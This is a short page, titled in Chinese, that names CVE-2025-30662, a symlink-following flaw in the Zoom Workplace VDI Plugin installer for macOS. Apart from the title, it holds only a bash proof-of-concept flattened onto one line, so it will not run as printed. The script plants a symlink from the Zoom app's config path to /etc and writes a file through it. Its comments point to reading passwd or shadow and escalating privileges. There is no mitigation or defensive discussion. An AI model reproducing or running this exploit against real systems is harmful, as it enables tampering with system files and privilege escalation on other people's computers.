CVE-2025-30662: Zoom Workplace VDI Plugin macOS安装器符号链接跟随漏洞

#!/bin/bash # CVE-2025-30662 PoC - Symlink Following in Zoom VDI Plugin Installer # This PoC demonstrates the symlink following vulnerability # Create a malicious symlink pointing to a sensitive directory mkdir -p /tmp/zoom_attack cd /tmp/zoom_attack # Create symlink from installation directory to sensitive location MALICIOUS_DIR="/Applications/ZoomVDI.app/Contents/Resources/config" mkdir -p "$(dirname $MALICIOUS_DIR)" ln -sf /etc "$MALICIOUS_DIR" # When installer runs, it will follow symlink and write to /etc # This could allow reading/writing sensitive files like passwd or shadow # For demonstration - create a file that would be written via symlink cat > "$MALICIOUS_DIR/malicious_config" << 'EOF' # Malicious configuration file # In real attack, this could be used to: # 1. Read sensitive config files # 2. Modify system settings # 3. Escalate privileges EOF echo "PoC demonstrates symlink creation in installation path" echo "Target: $MALICIOUS_DIR -> /etc" echo "Actual file location: /etc/malicious_config" ls -la /etc/malicious_config 2>/dev/null && echo "File successfully created via symlink!"